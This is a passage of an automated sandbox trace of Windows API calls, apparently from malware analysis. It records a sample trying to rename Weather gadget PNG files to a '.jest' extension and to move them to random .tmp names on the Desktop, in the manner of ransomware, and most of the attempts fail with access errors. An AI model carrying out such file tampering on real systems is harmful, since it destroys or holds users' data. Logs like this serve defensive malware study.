ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x52667867, cFileName="NasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.638] GetLastError () returned 0x2 [0127.638] GetLastError () returned 0x2 [0127.638] SetLastError (dwErrCode=0x2) [0127.638] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.638] GetTickCount () returned 0x115257b [0127.638] GetTickCount () returned 0x115257b [0127.639] CoFreeUnusedLibraries () [0127.639] GetTickCount () returned 0x115257b [0127.639] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.639] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.639] GetTickCount () returned 0x115257b [0127.639] IsWindowVisible (hWnd=0x30268) returned 0 [0127.639] Sleep (dwMilliseconds=0x0) [0127.639] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png.jest")) returned 0 [0127.642] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png", lpFilePart=0x18e6d8*="2.png") returned 0x4a [0127.643] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc117c4b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc117c4b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 0x143ce48 [0127.644] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.645] VarBstrFromR4 (in: fltIn=0x479445bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.48") returned 0x0 [0127.645] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.645] GetTickCount () returned 0x115257b [0127.646] GetTickCount () returned 0x115257b [0127.646] CoFreeUnusedLibraries () [0127.646] GetTickCount () returned 0x115257b [0127.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.646] GetTickCount () returned 0x115257b [0127.646] IsWindowVisible (hWnd=0x30268) returned 0 [0127.646] Sleep (dwMilliseconds=0x0) [0127.646] GetFullPathNameA (in: lpFileName=" gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", lpFilePart=0x18e708*=" gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp") returned 0x8d [0127.647] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png", lpFilePart=0x18e708*="2.png") returned 0x4a [0127.647] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ ge5mutthlw3bydjd_ktgrtv7paux0qcuojixxq3napk-qq0rhyyzp44-bmhvqhvj6ys0fsuivfavomcciknrq0bcyc49qmiqix.tmp")) returned 0 [0127.649] GetLastError () returned 0x5 [0127.649] GetLastError () returned 0x5 [0127.649] SetLastError (dwErrCode=0x5) [0127.649] GetLastError () returned 0x5 [0127.649] SetLastError (dwErrCode=0x5) [0127.649] GetLastError () returned 0x5 [0127.649] SetLastError (dwErrCode=0x5) [0127.650] GetFullPathNameA (in: lpFileName=" gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", lpFilePart=0x18e6e4*=" gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp") returned 0x8d [0127.650] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ gE5mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x35456720, cFileName="mUttHlw3bYDjD_ktGrTV7pAUX0qcUoJIxxq3naPK-QQ0RhYYzp44-BMHVqhVJ6yS0fsUivfAVomCciKnrq0BcYC49qMIqix.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.650] GetLastError () returned 0x2 [0127.650] GetLastError () returned 0x2 [0127.650] SetLastError (dwErrCode=0x2) [0127.651] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.651] GetTickCount () returned 0x115258b [0127.651] GetTickCount () returned 0x115258b [0127.651] CoFreeUnusedLibraries () [0127.651] GetTickCount () returned 0x115258b [0127.651] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.651] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.651] GetTickCount () returned 0x115258b [0127.651] IsWindowVisible (hWnd=0x30268) returned 0 [0127.651] Sleep (dwMilliseconds=0x0) [0127.652] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png.jest")) returned 0 [0127.654] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png", lpFilePart=0x18e6d8*="1.png") returned 0x4a [0127.654] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd699b5c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd699b5c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 0x143ce48 [0127.655] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.656] VarBstrFromR4 (in: fltIn=0x479445bf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.49") returned 0x0 [0127.657] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.657] GetTickCount () returned 0x115258b [0127.657] GetTickCount () returned 0x115258b [0127.657] CoFreeUnusedLibraries () [0127.657] GetTickCount () returned 0x115258b [0127.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.657] GetTickCount () returned 0x115258b [0127.657] IsWindowVisible (hWnd=0x30268) returned 0 [0127.657] Sleep (dwMilliseconds=0x0) [0127.657] GetFullPathNameA (in: lpFileName="gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", lpFilePart=0x18e708*="gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp") returned 0x8f [0127.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png", lpFilePart=0x18e708*="1.png") returned 0x4a [0127.658] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gcjllhmbwrcmzqzsst lcgbx3ounj9hyh6thzct7y3kccvp4hanxln6_j8-ofzk0vpxoxlk33xhv8sckq1fje5v47ub48ppfe5rou.tmp")) returned 0 [0127.660] GetLastError () returned 0x5 [0127.660] GetLastError () returned 0x5 [0127.660] SetLastError (dwErrCode=0x5) [0127.660] GetLastError () returned 0x5 [0127.660] SetLastError (dwErrCode=0x5) [0127.660] GetLastError () returned 0x5 [0127.660] SetLastError (dwErrCode=0x5) [0127.661] GetFullPathNameA (in: lpFileName="gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", lpFilePart=0x18e6e4*="gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp") returned 0x8f [0127.661] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gCJLlhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c4a4367, cFileName="lhMbWRcMzQZsst lcGbX3ouNj9HYh6ThzCt7Y3kccVP4HANXLn6_J8-oFZK0VpXoXlK33Xhv8SCKq1fje5v47uB48ppFe5rOu.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.661] GetLastError () returned 0x2 [0127.661] GetLastError () returned 0x2 [0127.661] SetLastError (dwErrCode=0x2) [0127.662] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.662] GetTickCount () returned 0x115258b [0127.662] GetTickCount () returned 0x115258b [0127.662] CoFreeUnusedLibraries () [0127.662] GetTickCount () returned 0x115258b [0127.662] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.662] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.662] GetTickCount () returned 0x115258b [0127.662] IsWindowVisible (hWnd=0x30268) returned 0 [0127.662] Sleep (dwMilliseconds=0x0) [0127.663] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png.jest")) returned 0 [0127.668] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png", lpFilePart=0x18e6d8*="9.png") returned 0x4a [0127.668] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc51c150, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc51c150, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 0x143ce48 [0127.669] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.670] VarBstrFromR4 (in: fltIn=0x479445c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.51") returned 0x0 [0127.671] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.671] GetTickCount () returned 0x115259b [0127.671] GetTickCount () returned 0x115259b [0127.671] CoFreeUnusedLibraries () [0127.671] GetTickCount () returned 0x115259b [0127.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.671] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.671] GetTickCount () returned 0x115259b [0127.671] IsWindowVisible (hWnd=0x30268) returned 0 [0127.671] Sleep (dwMilliseconds=0x0) [0127.671] GetFullPathNameA (in: lpFileName="ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", lpFilePart=0x18e708*="ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp") returned 0x8f [0127.672] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png", lpFilePart=0x18e708*="9.png") returned 0x4a [0127.672] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ezibheyequln9dj4gt9lsog-ptvkf4 gfd4icumut7p1qxpvkgodhm643c2uec2o9l37ln2ybheezqjcbm8lepvrfwdwtxk9y7bep.tmp")) returned 0 [0127.674] GetLastError () returned 0x5 [0127.674] GetLastError () returned 0x5 [0127.674] SetLastError (dwErrCode=0x5) [0127.674] GetLastError () returned 0x5 [0127.674] SetLastError (dwErrCode=0x5) [0127.674] GetLastError () returned 0x5 [0127.674] SetLastError (dwErrCode=0x5) [0127.675] GetFullPathNameA (in: lpFileName="ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", lpFilePart=0x18e6e4*="ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp") returned 0x8f [0127.675] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ezIbheyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62497a65, cFileName="heyEquLn9dJ4Gt9lSoG-PTvKF4 gFd4ICUMut7P1qxPVKGodhM643c2Uec2O9L37ln2YBHEeZQjcBm8LePVrFwDwtXk9y7BEp.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.675] GetLastError () returned 0x2 [0127.675] GetLastError () returned 0x2 [0127.675] SetLastError (dwErrCode=0x2) [0127.675] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.675] GetTickCount () returned 0x115259b [0127.675] GetTickCount () returned 0x115259b [0127.675] CoFreeUnusedLibraries () [0127.676] GetTickCount () returned 0x115259b [0127.676] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.676] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.676] GetTickCount () returned 0x115259b [0127.676] IsWindowVisible (hWnd=0x30268) returned 0 [0127.676] Sleep (dwMilliseconds=0x0) [0127.676] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png.jest")) returned 0 [0127.678] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png", lpFilePart=0x18e6d8*="8.png") returned 0x4a [0127.678] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4cfe92, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4cfe92, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 0x143ce48 [0127.681] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.682] VarBstrFromR4 (in: fltIn=0x479445c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.52") returned 0x0 [0127.683] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.683] GetTickCount () returned 0x11525aa [0127.683] GetTickCount () returned 0x11525aa [0127.683] CoFreeUnusedLibraries () [0127.683] GetTickCount () returned 0x11525aa [0127.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.683] GetTickCount () returned 0x11525aa [0127.683] IsWindowVisible (hWnd=0x30268) returned 0 [0127.683] Sleep (dwMilliseconds=0x0) [0127.684] GetFullPathNameA (in: lpFileName="UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", lpFilePart=0x18e708*="UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp") returned 0x8e [0127.684] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png", lpFilePart=0x18e708*="8.png") returned 0x4a [0127.685] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x 